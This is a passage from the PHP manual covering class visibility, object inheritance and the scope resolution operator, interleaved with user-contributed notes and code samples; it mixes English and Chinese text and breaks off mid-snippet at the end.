// Note:  If the underlying database result object $column1 as private, this will cause set_pointer_to_dictionary to generate the usual fatal error
// but  making the bottom object private may defeat its purpose of exposing results.
pgl at yoyo dot org 30-Jun-2015 11:09
Just a quick note that it's possible to declare visibility for multiple properties at the same time, by separating them by commas.

eg:

<?php
class a
{
    protected $a, $b;

    public $c, $d;

    private $e, $f;
}
?>
thcdesigning at gmail dot com 26-Nov-2013 12:50
Private or not private?
 I get baffled whenever I see this kind of an example.

<?php

class vessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

class smallVessel{
    private $things = array();

    public function setThing($things){
            $this->things = $things;
    }

    public function getThing($obj){
        return $obj->things;
    }
}

$basket = new vessel();
$bucket = new vessel();
$bowl = new smallVessel();

$basket->setThing(array('wine' , 'water' , 'sugar'));

 // returns the contents inside basket unexpectedly
print_r($bucket->getThing($basket));

// returns error, quite rightly so!
print_r($bowl ->getThing($basket));
aluciffer at hotmail dot com 21-Jul-2013 02:08
As far as it regards the properties of objects, visibility is, yes, as the examples show.
Private, protected methods are not accessible via syntax $a->protectedVar, however their values are still (php 5.3.26) accessible through a number of other methods (serializing, converting to array, and nevertheless using the ReflectionClass methods).
As it was pointed out and such as in the example below:
<?php

echo "PHP Version: ".phpversion()."\n";

class Foo
{
   private   $bar  = "value of private var";
   protected $bar2 = "value of protected var";
   public    $bar3 = "value of public var";
}

$obj = new Foo;

echo serialize($obj) . "\n";

print_r($obj);

print_r((array)$obj);

echo ($obj->bar3) . "\n";
echo ($obj->bar2) . "\n";
echo ($obj->bar) . "\n";

?>

It will output:

PHP Version: 5.3.26
O:3:"Foo":3:{s:8:"Foobar";s:20:"value of private var ";s:7:"*bar2";s:22:"value of protected var";s:4:"bar3";s:19:"value of public var";}
Foo Object
(
    [bar:Foo:private] => value of private var
    [bar2:protected] => value of protected var
    [bar3] => value of public var
)

Array
(
    [Foobar] => value of private var
    [*bar2] => value of protected var
    [bar3] => value of public var
)
value of public var

While the last two lines, accessing directly the private and protected object properties (bar2 and bar), will throw out fatal errors like:
PHP Fatal error:  Cannot access private property Foo::$bar
and
PHP Fatal error:  Cannot access protected property Foo::$bar2
andrei at leapingbytes dot net 20-Dec-2012 09:50
Interestingly enough, PHP does very reasonable job in regards to interaction between classes and plain functions (even ones defined in the same file as the class)

<?php

class Test {
    private function foo() {
        echo "Foo" . PHP_EOL;
    }
    protected function bar() {
        echo "bar" . PHP_EOL;
    }

    static function foobar($test) {
        $test->bar(); // works
        $test->foo(); // works
    }
}

function simple_function() {
    $test = new Test();

    $test->bar(); // does not work

    $test->foo(); // does not work

    Test::foobar($test); // works
}

simple_function();
?>
alexaulbach at mayflower dot de 06-Nov-2012 01:32
<?php

error_reporting(E_ALL | E_STRICT |  E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);

class A
{
        private $private = 1;
        public $public = 1;

        function get()
        {
                return "A: $this->private , $this->public\n";
        }

}

class B extends A
{

        function __construct()
        {
                $this->private = 2;
                $this->public = 2;
        }

        function set()
        {
                $this->private = 3;
                $this->public = 3;
        }

        function get()
        {
                return parent::get() . "B: $this->private , $this->public\n";
        }

}

$B = new B;

echo $B->get();
echo $B->set();
echo $B->get();
?>

?>

Result is
A: 1 , 2
B: 2 , 2
A: 1 , 3
B: 3 , 3

This is correct code and does not warn you to use any private.

"$this->private" is only in A private. If you write it in class B it's a runtime declaration of the public variable "$this->private", and PHP doesn't even warn you that you create a variable in a class without declaration, because this is normal behavior.
omega at 2093 dot es 06-Jul-2012 12:04
This has already been noted here, but there was no clear example. Methods defined in a parent class can NOT access private methods defined in a class which inherits from them. They can access protected, though.

Example:

<?php

class ParentClass {

    public function execute($method) {
        $this->$method();
    }

}

class ChildClass extends ParentClass {

    private function privateMethod() {
        echo "hi, i'm private";
    }

    protected function protectedMethod() {
        echo "hi, i'm protected";
    }

}

$object = new ChildClass();

$object->execute('protectedMethod');

$object->execute('privateMethod');

?>

Output:

hi, i'm protected
Fatal error: Call to private method ChildClass::privateMethod() from context 'ParentClass' in index.php on line 6

In an early approach this may seem unwanted behaviour but it actually makes sense. Private can only be accessed by the class which defines, neither parent nor children classes.
jc dot flash at gmail dot com 21-Jun-2012 02:31
if not overwritten, self::$foo in a subclass actually refers to parent's self::$foo
<?php
class one
{
    protected static $foo = "bar";
    public function change_foo($value)
    {
        self::$foo = $value;
    }
}

class two extends one
{
    public function tell_me()
    {
        echo self::$foo;
    }
}
$first = new one;
$second = new two;

$second->tell_me(); // bar
$first->change_foo("restaurant");
$second->tell_me(); // restaurant
?>
IgelHaut 30-May-2012 01:48
<?php
class test {
    public $public = 'Public var';
    protected $protected = 'protected var';
    private $private = 'Private var';

    public static $static_public = 'Public static var';
    protected static $static_protected = 'protected static var';
    private static $static_private = 'Private static var';
}

$class = new test;
print_r($class);
?>

The code prints
test Object ( [public] => Public var [protected:protected] => protected var [private:test:private] => Private var )

Functions like print_r(), var_dump() and var_export() prints public, protected and private variables, but not the static variables.
wbcarts at juno dot com 19-May-2012 08:27
INSIDE CODE and OUTSIDE CODE

<?php

class Item
{
  /**
   * This is INSIDE CODE because it is written INSIDE the class.
   */
  public $label;
  public $price;
}

/**
 * This is OUTSIDE CODE because it is written OUTSIDE the class.
 */
$item = new Item();
$item->label = 'Ink-Jet Tatoo Gun';
$item->price = 49.99;

?>

Ok, that's simple enough... I got it inside and out. The big problem with this is that the Item class is COMPLETELY IGNORANT in the following ways:
* It REQUIRES OUTSIDE CODE to do all the work AND to know what and how to do it -- huge mistake.
* OUTSIDE CODE can cast Item properties to any other PHP types (booleans, integers, floats, strings, arrays, and objects etc.) -- another huge mistake.

Note: we did it correctly above, but what if someone made an array for $price? FYI: PHP has no clue what we mean by an Item, especially by the terms of our class definition above. To PHP, our Item is something with two properties (mutable in every way) and that's it. As far as PHP is concerned, we can pack the entire set of Britannica Encyclopedias into the price slot. When that happens, we no longer have what we expect an Item to be.

INSIDE CODE should keep the integrity of the object. For example, our class definition should keep $label a string and $price a float -- which means only strings can come IN and OUT of the class for label, and only floats can come IN and OUT of the class for price.

<?php

class Item
{
  /**
   * Here's the new INSIDE CODE and the Rules to follow:
   *
   * 1. STOP ACCESS to properties via $item->label and $item->price,
   *    by using the protected keyword.
   * 2. FORCE the use of public functions.
   * 3. ONLY strings are allowed IN & OUT of this class for $label
   *    via the getLabel and setLabel functions.
   * 4. ONLY floats are allowed IN & OUT of this class for $price
   *    via the getPrice and setPrice functions.
   */

  protected $label = 'Unknown Item'; // Rule 1 - protected.
  protected $price = 0.0;            // Rule 1 - protected.

  public function getLabel() {       // Rule 2 - public function.
    return $this->label;             // Rule 3 - string OUT for $label.
  }

  public function getPrice() {       // Rule 2 - public function.
    return $this->price;             // Rule 4 - float OUT for $price.
  }

  public function setLabel($label)   // Rule 2 - public function.
  {
    /**
     * Make sure $label is a PHP string that can be used in a SORTING
     * alogorithm, NOT a boolean, number, array, or object that can't
     * properly sort -- AND to make sure that the getLabel() function
     * ALWAYS returns a genuine PHP string.
     *
     * Using a RegExp would improve this function, however, the main
     * point is the one made above.
     */

    if(is_string($label))
    {
      $this->label = (string)$label; // Rule 3 - string IN for $label.
    }
  }

  public function setPrice($price)   // Rule 2 - public function.
  {
    /**
     * Make sure $price is a PHP float so that it can be used in a
     * NUMERICAL CALCULATION. Do not accept boolean, string, array or
     * some other object that can't be included in a simple calculation.
     * This will ensure that the getPrice() function ALWAYS returns an
     * authentic, genuine, full-flavored PHP number and nothing but.
     *
     * Checking for positive values may improve this function,
     * however, the main point is the one made above.
     */

    if(is_numeric($price))
    {
      $this->price = (float)$price; // Rule 4 - float IN for $price.
    }
  }
}

?>

Now there is nothing OUTSIDE CODE can do to obscure the INSIDES of an Item. In other words, every instance of Item will always look and behave like any other Item complete with a label and a price, AND you can group them together and they will interact without disruption. Even though there is room for improvement, the basics are there, and PHP will not hassle you... which means you can keep your hair!
php at stage-slash-solutions dot com 10-Jul-2011 03:21
access a protected property:

<?php

//Some library I am not allowed to change:

abstract class a
{
  protected $foo;
}

class aa extends a
{
  function setFoo($afoo)
  {
      $this->foo = $afoo;
  }
}

?>

if you get an instance of aa and need access to $foo:

<?php
class b extends a
{
  function getFoo($ainstance)
  {
      return $ainstance->foo;
  }
}

$aainstance=someexternalfunction();
$binstance=new b;
$aafoo=$binstance->getFoo($aainstance);
?>
Marce! 25-Sep-2009 03:04
Please note that protected methods are also available from sibling classes as long as the method is declared in the common parent. This may also be an abstract method.

In the below example Bar knows about the existence of _test() in Foo because they inherited this method from the same parent. It does not matter that it was abstract in the parent.

<?php
abstract class Base {
    abstract protected function _test();
}

class Bar extends Base {

    protected function _test() { }

    public function TestFoo() {
        $c = new Foo();
        $c->_test();
    }
}

class Foo extends Base {
    protected function _test() {
        echo 'Foo';
    }
}

$bar = new Bar();
$bar->TestFoo(); // result: Foo
?>
imran at phptrack dot com 18-Aug-2009 02:06
Some Method Overriding rules :

1. In the overriding, the method names and arguments (arg's) must be same.

Example:
class p { public function getName(){} }
class c extends P{ public function getName(){} }

2. final methods can't be overridden.

3. private methods never participate in the in the overriding because these methods are not visible in the child classes.

Example:
class a {
private  function my(){
    print "parent:my";
}
public function getmy(){
$this->my();
}
}
class b extends a{
    private  function my(){
        print "base:my";
}
}
$x = new b();
$x->getmy(); // parent:my

4. While overriding decreasing access specifier is not allowed

class a {
public  function my(){
    print "parent:my";
}

}
class b extends a{
    private  function my(){
        print "base:my";
}
}
//Fatal error:  Access level to b::my() must be public (as in class a)
a dot schaffhirt at sedna-soft dot de 29-Jun-2009 12:27
If you miss the "package" keyword in PHP in order to allow access between certain classes without their members being public, you can utilize the fact, that in PHP the protected keyword allows access to both subclasses and superclasses.

So you can use this simple pattern:

<?php
    abstract class Dispatcher {
        protected function &accessProperty (self $pObj, $pName) {
            return $pObj->$pName;
        }
        protected function invokeMethod ($pObj, $pName, $pArgs) {
            return call_user_func_array(array($pObj, $pName), $pArgs);
        }
    }
?>

The classes that should be privileged to each other simply extend this dispatcher:

<?php
    class Person extends Dispatcher {
        private $name;
        protected $phoneNumbers;

        public function __construct ($pName) {
            $this->name = $pName;
            $this->phoneNumbers = array();
        }
        public function addNumber (PhoneNumber $pNumber, $pLabel) {
            $this->phoneNumbers[$pLabel] = $pNumber;

            // this does not work, because "owner" is protected:
            // $pNumber->owner = $this;

            // instead, we get a reference from the dispatcher:
            $p =& $this->accessProperty($pNumber, "owner");

            // ... and change that:
            $p = $this;
        }
        public function call ($pLabel) {
            // this does not work since "call" is protected:
            // $this->phoneNumbers[$pLabel]->call();

            // instead, we dispatch the call request:
            $this->invokeMethod($this->phoneNumbers[$pLabel], "call", array());
        }
    }

    class PhoneNumber extends Dispatcher {
        private $countryCode;
        private $areaCode;
        private $number;
        protected $owner;

        public function __construct ($pCountryCode, $pAreaCode, $pNumber) {
            $this->countryCode = $pCountryCode;
            $this->areaCode = $pAreaCode;
            $this->number = $pNumber;
        }

        protected function call () {
            echo("calling " . $this->countryCode . "-" . $this->areaCode . "-" . $this->number . "\n");
        }
    }

    $person = new Person("John Doe");
    $number1 = new PhoneNumber(12, 345, 67890);
    $number2 = new PhoneNumber(34, 5678, 90123);
    $person->addNumber($number1, "home");
    $person->addNumber($number2, "office");
    $person->call("home");
?>

Without this pattern you would have to make $owner and call() public in PhoneNumber.

Best regards,
what at ever dot com 04-Dec-2008 05:15
If you have problems with overriding private methods in extended classes, read this:)

The manual says that "Private limits visibility only to the class that defines the item". That means extended children classes do not see the private methods of parent class and vice versa also.

As a result, parents and children can have different implementations of the "same" private methods, depending on where you call them (e.g. parent or child class instance). Why? Because private methods are visible only for the class that defines them and the child class does not see the parent's private methods. If the child doesn't see the parent's private methods, the child can't override them. Scopes are different. In other words -- each class has a private set of private variables that no-one else has access to.

A sample demonstrating the percularities of private methods when extending classes:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    private function overridden() {
        echo 'base';
    }
}

class child extends base {
    private function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>

Output will be "base".

If you want the inherited methods to use overridden functionality in extended classes but public sounds too loose, use protected. That's what it is for:)

A sample that works as intended:

<?php
abstract class base {
    public function inherited() {
        $this->overridden();
    }
    protected function overridden() {
        echo 'base';
    }
}

class child extends base {
    protected function overridden() {
        echo 'child';
    }
}

$test = new child();
$test->inherited();
?>
Output will be "child".
Joshua Watt 29-May-2007 12:09
I couldn't find this documented anywhere, but you can access protected and private member varaibles in different instance of the same class, just as you would expect

i.e.

<?php
class A
{
    protected $prot;
    private $priv;

    public function __construct($a, $b)
    {
        $this->prot = $a;
        $this->priv = $b;
    }

    public function print_other(A $other)
    {
        echo $other->prot;
        echo $other->priv;
    }
}

class B extends A
{
}

$a = new A("a_protected", "a_private");
$other_a = new A("other_a_protected", "other_a_private");

$b = new B("b_protected", "ba_private");

$other_a->print_other($a); //echoes a_protected and a_private
$other_a->print_other($b); //echoes b_protected and ba_private

$b->print_other($a); //echoes a_protected and a_private
?>
stephane at harobed dot org 23-Aug-2006 02:22
A class A static public function can access to class A private function :

<?php
class A {
    private function foo()
    {
        print("bar");
    }

    static public function bar($a)
    {
        $a->foo();
    }
}

$a = new A();

A::bar($a);
?>

It's working.
r dot wilczek at web-appz dot de 05-Jan-2006 05:11
Beware: Visibility works on a per-class-base and does not prevent instances of the same class accessing each others properties!

<?php
class Foo
{
    private $bar;

    public function debugBar(Foo $object)
    {
        // this does NOT violate visibility although $bar is private
        echo $object->bar, "\n";
    }

    public function setBar($value)
    {
        // Neccessary method, for $bar is invisible outside the class
        $this->bar = $value;
    }

    public function setForeignBar(Foo $object, $value)
    {
        // this does NOT violate visibility!
        $object->bar = $value;
    }
}

$a = new Foo();
$b = new Foo();
$a->setBar(1);
$b->setBar(2);
$a->debugBar($b);        // 2
$b->debugBar($a);        // 1
$a->setForeignBar($b, 3);
$b->setForeignBar($a, 4);
$a->debugBar($b);        // 3
$b->debugBar($a);        // 4
?>


对象继承

继承已为大家所熟知的一个程序设计特性，PHP 的对象模型也使用了继承。继承将会影响到类与类，对象与对象之间的关系。

比如，当扩展一个类，子类就会继承父类所有 public 和 protected 的方法，属性和常量。除非子类覆盖了父类的方法，被继承的方法都会保留其原有功能。

继承有助于功能的设计和抽象，在实现类似的对象、增加新功能时，无须重复编写这些公用的功能。

子类无法访问父类的私有方法。因此，子类无需考虑正常的继承规则而重新实现私有方法。 然而，在 PHP 8.0.0 之前， final 和 static 的限制会应用于 private 方法。 从 PHP 8.0.0 开始，仅 private final 的构造器是唯一受限的 private 方法； 想要"禁用"构造器，我们通常用静态工厂方法作为代替。

方法，属性和常量的 可见性 可以放宽，例如 protected 方法可以标记为 public， 但不能增加限制，例如标记 public 属性为 private。有个例外是构造方法，可以限制其可见性，例如 public 构造方法可以在子类中标记为 private。

Note:

除非使用了自动加载，否则一个类必须在使用之前被定义。如果一个类扩展了另一个，则父类必须在子类之前被声明。此规则适用于类继承其它类与接口。

Note:

It is not allowed to override a read-write property with a readonly property or vice versa.

<?php
class A {
public int $prop;
}
class B extends A {
// Illegal: read-write -> readonly
public readonly int $prop;
}
?>

Example #1 继承示例

<?php

class Foo
{
public function printItem($string)
{
echo 'Foo: ' . $string . PHP_EOL;
}

public function printPHP()
{
echo 'PHP is great.' . PHP_EOL;
}
}

class Bar extends Foo
{
public function printItem($string)
{
echo 'Bar: ' . $string . PHP_EOL;
}
}

$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // 输出: 'Foo: baz'
$foo->printPHP(); // 输出: 'PHP is great'
$bar->printItem('baz'); // 输出: 'Bar: baz'
$bar->printPHP(); // 输出: 'PHP is great'

?>

Return Type Compatibility with Internal Classes

Prior to PHP 8.1, most internal classes or methods didn't declare their return types, and any return type was allowed when extending them.

As of PHP 8.1.0, most internal methods started to "tentatively" declare their return type, in that case the return type of methods should be compatible with the parent being extended; otherwise, a deprecation notice is emitted. Note that lack of an explicit return declaration is also considered a signature mismatch, and thus results in the deprecation notice.

If the return type cannot be declared for an overriding method due to PHP cross-version compatibility concerns, a ReturnTypeWillChange attribute can be added to silence the deprecation notice.

Example #2 The overriding method does not declare any return type

<?php
class MyDateTime extends DateTime
{
public function modify(string $modifier) { return false; }
}

// "Deprecated: Return type of MyDateTime::modify(string $modifier) should either be compatible with DateTime::modify(string $modifier): DateTime|false, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice" as of PHP 8.1.0
?>

Example #3 The overriding method declares a wrong return type

<?php
class MyDateTime extends DateTime
{
public function modify(string $modifier): ?DateTime { return null; }
}

// "Deprecated: Return type of MyDateTime::modify(string $modifier): ?DateTime should either be compatible with DateTime::modify(string $modifier): DateTime|false, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice" as of PHP 8.1.0
?>

Example #4 The overriding method declares a wrong return type without a deprecation notice

<?php
class MyDateTime extends DateTime
{
/**
* @return DateTime|false
*/
#[\ReturnTypeWillChange]
public function modify(string $modifier) { return false; }
}

// No notice is triggered
?>

User Contributed Notes

niemans at pbsolo dot nl 04-Jan-2020 01:39
Inheritance works at create time, i.e. using the keyword 'new'. Static properties confused my understanding, so in order tho show the effect of visibility to inherintence I've created a simple demo script along with some set and get magic:

<?php
class A {
private $a   = 'private';
protected $b = 'protected';
public $c    = 'public';
static $d    = 'static';
public function __construct()
{
    $this->e = 'constructed';
}
public function __set($property, $value)
{
    echo ' set ' . $property . '=' . $value;
    $this->$property=$value;
}
public function __get($property)
{
    echo ' get ' . $property;
    $this->$property = 'dynamic';  // invokes __set() !!
    return $this->$property;
}
}

class B extends A
{
public function constructMe()
{
    $this->e = 'constructed2';
}
}

class C extends B
{
public function __construct()
{
    parent::constructMe();
}
}

echo " \n";
$a = new A();
$b = new B();
echo " \n";
echo ' B:c='.$b->c;
echo " \n";
echo ' B:d=' .$b->d;
echo " \n";

$c = new C();
echo " \n";

print_r($a);
print_r($b);
print_r($c);

print_r(A::$d);
print_r(B::$d);
print_r(C::$d);

echo 'A class: ';
$R = new reflectionclass('A');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());
echo 'B class: ';
$R = new reflectionclass('B');
print_r($R->getdefaultproperties());
print_r($R->getstaticproperties());

?>

This outputs:

 set e=constructed
 B:c=public
 get d set d=dynamic B:d=dynamic
 set e=constructed2
A Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed
)
B Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [d] => dynamic
)
C Object
(
    [a:A:private] => private
    [b:protected] => protected
    [c] => public
    [e] => constructed2
)
staticstaticstaticA class: Array
(
    [d] => static
    [a] => private
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)
B class: Array
(
    [d] => static
    [b] => protected
    [c] => public
)
Array
(
    [d] => static
)

This shows how private variables ($a) are inherited, how static variables ($d) are inherited (by the class, not by the object) and that changing or adding variables in the parent ($e, $d) are not inherited by the child.
Anonymous 25-Jan-2019 07:21
PHP7 gives you a warning if you redeclare a function in a child class with different parameters. For example:

class foo {
     function print($text='') {
          print text;
     }
}

class bar extends foo {
      function print($text1='',$text2='') {
           print text1.text2
      }
}

will give a PHP Warning:  Declaration of bar::print($text1 = '', $text2 = '') should be compatible with foo::print($text= '').
sibian0218 at gmail dot com 06-Sep-2018 07:58
I've noticed one thing concerning inheritance...
When declaring an abstract class with a private method,
which is overridden by a sub-class, private takes precedence over public for child class...
(in the case you're redeclaring a method with a different signature in fact).

Hope this helps
Mohammad Istanbouly 11-Jun-2017 10:50
I think the best way for beginners to understand inheritance is through a real example so here is a simple example I can gave to you

<?php

class Person
{
    public $name;
    protected $age;
    private $phone;

    public function talk(){
        //Do stuff here
    }

    protected function walk(){
        //Do stuff here
    }

    private function swim(){
        //Do stuff here
    }
}

class Tom extends Person
{
    /*Since Tom class extends Person class this means
        that class Tom is a child class and class person is
        the parent class and child class will inherit all public
        and protected members(properties and methods) from
        the parent class*/

     /*So class Tom will have these properties and methods*/

     //public $name;
     //protected $age;
     //public function talk(){}
     //protected function walk(){}

     //but it will not inherit the private members
     //this is all what Object inheritance means
}
akashwebdev at gmail dot com 01-Jul-2015 05:59
The Idea that multiple inheritence is not supported is correct but with tratits this can be reviewed.

for e.g.

<?php
trait  custom
{
     public function hello()
     {
          echo "hello";
     }
}

trait custom2
{
       public function hello()
       {
            echo "hello2";
       }
}

class inheritsCustom
{
        use custom, custom2
        {
              custom2::hello insteadof custom;
        }
}

$obj = new inheritsCustom();
$obj->hello();
?>
strata_ranger at hotmail dot com 19-Sep-2010 09:37
I was recently extending a PEAR class when I encountered a situation where I wanted to call a constructor two levels up the class hierarchy, ignoring the immediate parent.  In such a case, you need to explicitly reference the class name using the :: operator.

Fortunately, just like using the 'parent' keyword PHP correctly recognizes that you are calling the function from a protected context inside the object's class hierarchy.

E.g:

<?php
class foo
{
  public function something()
  {
    echo __CLASS__; // foo
    var_dump($this);
  }
}

class foo_bar extends foo
{
  public function something()
  {
    echo __CLASS__; // foo_bar
    var_dump($this);
  }
}

class foo_bar_baz extends foo_bar
{
  public function something()
  {
    echo __CLASS__; // foo_bar_baz
    var_dump($this);
  }

  public function call()
  {
    echo self::something(); // self
    echo parent::something(); // parent
    echo foo::something(); // grandparent
  }
}

error_reporting(-1);

$obj = new foo_bar_baz();
$obj->call();

// Output similar to:
// foo_bar_baz
// object(foo_bar_baz)[1]
// foo_bar
// object(foo_bar_baz)[1]
// foo
// object(foo_bar_baz)[1]

?>
jackdracona at msn dot com 14-Apr-2010 08:53
Here is some clarification about PHP inheritance - there is a lot of bad information on the net.  PHP does support Multi-level inheritance.  (I tested it using version 5.2.9).  It does not support multiple inheritance.

This means that you cannot have one class extend 2 other classes (see the extends keyword).  However, you can have one class extend another, which extends another, and so on.

Example:

<?php
class A {
        // more code here
}

class B extends A {
        // more code here
}

class C extends B {
        // more code here
}

$someObj = new A();  // no problems
$someOtherObj = new B(); // no problems
$lastObj = new C(); // still no problems

?>
jarrod at squarecrow dot com 27-Oct-2009 06:01
You can force a class to be strictly an inheritable class by using the "abstract" keyword. When you define a class with abstract, any attempt to instantiate a separate instance of it will result in a fatal error. This is useful for situations like a base class where it would be inherited by multiple child classes yet you want to restrict the ability to instantiate it by itself.

Example........

<?php

abstract class Cheese
{
      //can ONLY be inherited by another class
}

class Cheddar extends Cheese
{
}

$dinner = new Cheese; //fatal error
$lunch = new Cheddar; //works!

?>


范围解析操作符 （::）

范围解析操作符（也可称作 Paamayim Nekudotayim）或者更简单地说是一对冒号，可以用于访问静态成员，类常量，还可以用于覆盖类中的属性和方法。

当在类定义之外引用到这些项目时，要使用类名。

可以通过变量来引用类，该变量的值不能是关键字（如 self，parent 和 static）。

把 Paamayim Nekudotayim 选作双冒号操作符的名字似乎有些奇怪。然而，这是 Zend 开发小组在写 Zend Engine 0.5（被用于 PHP 3 中）时所作出的决定。事实上这个词在希伯莱文就是双冒号的意思。

Example #1 在类的外部使用 :: 操作符

<?php
class MyClass {
const CONST_VALUE = 'A constant value';
}

$classname = 'MyClass';
echo $classname::CONST_VALUE;

echo MyClass::CONST_VALUE;
?>

self，parent 和 static 这三个特殊的关键字是用于在类定义的内部对其属性或方法进行访问的。

Example #2 在类定义内部使用 ::

<?php
class OtherClass extends MyClass
{
public static $my_static = 'static var';

public static function doubleColon() {
echo parent::CONST_VALUE . "\n";
echo self::$my_static . "\n";
}
}

$classname = 'OtherClass';
$classname::doubleColon();

OtherClass::doubleColon();
?>

当一个子类覆盖其父类中的方法时，PHP 不会调用父类中已被覆盖的方法。是否调用父类的方法取决于子类。这种机制也作用于构造函数和析构函数，重载以及魔术方法。

Example #3 调用父类的方法

<?php
class MyClass
{
protected function myFunc() {
echo "MyClass::myFunc()\n";
}
}

class OtherClass extends MyClass
{
// 覆盖了父类的定义
public function myFunc()
{
// 但还是可以调用父类中被覆盖的方法
parent::myFunc();
echo "OtherClass::myFunc()\n";
}
}

$class = new OtherClass();
$class->myFunc();
?>

参见 伪变量的示例。

User Contributed Notes

1naveengiri at gmail dot com 15-May-2017 06:36
In PHP, you use the self keyword to access static properties and methods.

The problem is that you can replace $this->method() with self::method() anywhere, regardless if method() is declared static or not. So which one should you use?

Consider this code:

class ParentClass {
    function test() {
        self::who();    // will output 'parent'
        $this->who();    // will output 'child'
    }

    function who() {
        echo 'parent';
    }
}

class ChildClass extends ParentClass {
    function who() {
        echo 'child';
    }
}

$obj = new ChildClass();
$obj->test();
In this example, self::who() will always output 'parent', while $this->who() will depend on what class the object has.

Now we can see that self refers to the class in which it is called, while $this refers to the class of the current object.

So, you should use self only when $this is not available, or when you don't want to allow descendant classes to overwrite the current method.
jasverix at NOSPAM dot gmail dot com 03-Oct-2013 01:25
Just found out that using the class name may also work to call similar function of anchestor class.

<?php

class Anchestor {

   public $Prefix = '';

   private $_string =  'Bar';
    public function Foo() {
        return $this->Prefix.$this->_string;
    }
}

class MyParent extends Anchestor {
    public function Foo() {
         $this->Prefix = null;
        return parent::Foo().'Baz';
    }
}

class Child extends MyParent {
    public function Foo() {
        $this->Prefix = 'Foo';
        return Anchestor::Foo();
    }
}

$c = new Child();
echo $c->Foo(); //return FooBar, because Prefix, as in Anchestor::Foo()

?>

The Child class calls at Anchestor::Foo(), and therefore MyParent::Foo() is never run.
guy at syntheticwebapps dot com 15-Sep-2013 08:29
It seems as though you can use more than the class name to reference the static variables, constants, and static functions of a class definition from outside that class using the :: . The language appears to allow you to use the object itself.

For example:
class horse
{
   static $props = {'order'=>'mammal'};
}
$animal = new horse();
echo $animal::$props['order'];

// yields 'mammal'

This does not appear to be documented but I see it as an important convenience in the language. I would like to see it documented and supported as valid.

If it weren't supported officially, the alternative would seem to be messy, something like this:

$animalClass = get_class($animal);
echo $animalClass::$props['order'];
remy dot damour at ----no-spam---laposte dot net 05-May-2010 01:50
As of php 5.3.0, you can use 'static' as scope value as in below example (add flexibility to inheritance mechanism compared to 'self' keyword...)

<?php

class A {
    const C = 'constA';
    public function m() {
        echo static::C;
    }
}

class B extends A {
    const C = 'constB';
}

$b = new B();
$b->m();

// output: constB
?>
Theriault 05-Dec-2009 08:58
A class constant, class property (static), and class function (static) can all share the same name and be accessed using the double-colon.

<?php

class A {

    public static $B = '1'; # Static class variable.

    const B = '2'; # Class constant.

    public static function B() { # Static class function.
        return '3';
    }

}

echo A::$B . A::B . A::B(); # Outputs: 123
?>
wouter at interpotential dot com 09-Nov-2009 07:24
It's worth noting, that the mentioned variable can also be an object instance. This appears to be the easiest way to refer to a static function as high in the inheritance hierarchy as possible, as seen from the instance. I've encountered some odd behavior while using static::something() inside a non-static method.

See the following example code:

<?php
class FooClass {
    public function testSelf() {
        return self::t();
    }

    public function testThis() {
        return $this::t();
    }

    public static function t() {
        return 'FooClass';
    }

    function __toString() {
        return 'FooClass';
    }
}

class BarClass extends FooClass {
    public static function t() {
        return 'BarClass';
    }

}

$obj = new BarClass();
print_r(Array(
    $obj->testSelf(), $obj->testThis(),
));
?>

which outputs:

<pre>
Array
(
    [0] => FooClass
    [1] => BarClass
)
</pre>

As you can see, __toString has no effect on any of this. Just in case you were wondering if perhaps this was the way it's done.
giovanni at gargani dot it 02-Jun-2009 06:38
Well, a "swiss knife" couple of code lines to call parent method. The only limit is you can't use it with "by reference" parameters.
Main advantage you dont need to know the "actual" signature of your super class, you just need to know which arguments do you need

<?php
class someclass extends some superclass {
// usable for constructors
 function __construct($ineedthisone) {
  $args=func_get_args();
  /* $args will contain any argument passed to __construct.
  * Your formal argument doesnt influence the way func_get_args() works
  */
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
// but this is not for __construct only
 function anyMethod() {
  $args=func_get_args();
  call_user_func_array(array('parent',__FUNCTION__),$args);
 }
  // Note: php 5.3.0 will even let you do
 function anyMethod() {
  //Needs php >=5.3.x
  call_user_func_array(array('parent',__FUNCTION__),func_get_args());
 }

}
?>
csaba dot dobai at php-sparcle dot com 03-Feb-2009 09:54
For the 'late static binding' topic I published a code below, that demonstrates a trick for how to setting variable value in the late class, and print that in the parent (or the parent's parent, etc.) class.

<?php

class cA
{
    /**
     * Test property for using direct default value
     */
    protected static $item = 'Foo';

    /**
     * Test property for using indirect default value
     */
    protected static $other = 'cA';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    public static function setOther($val)
    {
        self::$other = $val; // Set a value in this scope.
    }
}

class cB extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Bar';

    public static function setOther($val)
    {
        self::$other = $val;
    }
}

class cC extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Tango';

    public static function method()
    {
        print self::$item."\r\n"; // It prints 'Foo' on everyway... :(
        print self::$other."\r\n"; // We just think that, this one prints 'cA' only, but... :)
    }

    /**
     * Now we drop redeclaring the setOther() method, use cA with 'self::' just for fun.
     */
}

class cD extends cA
{
    /**
     * Test property with redefined default value
     */
    protected static $item = 'Foxtrot';

    /**
     * Now we drop redeclaring all methods to complete this issue.
     */
}

cB::setOther('cB'); // It's cB::method()!
cB::method(); // It's cA::method()!
cC::setOther('cC'); // It's cA::method()!
cC::method(); // It's cC::method()!
cD::setOther('cD'); // It's cA::method()!
cD::method(); // It's cA::method()!

/**
 * Results: ->
 * Foo
 * cB
 * Tango
 * cC
 * Foo
 * cD
 *
 * What the hell?! :)
 */

?>
luka8088 at gmail dot com 24-Jan-2009 03:15
Little static trick to go around php strict standards ...
Function caller founds an object from which it was called, so that static method can alter it, replacement for $this in static function but without strict warnings :)

<?php

error_reporting(E_ALL + E_STRICT);

function caller () {
  $backtrace = debug_backtrace();
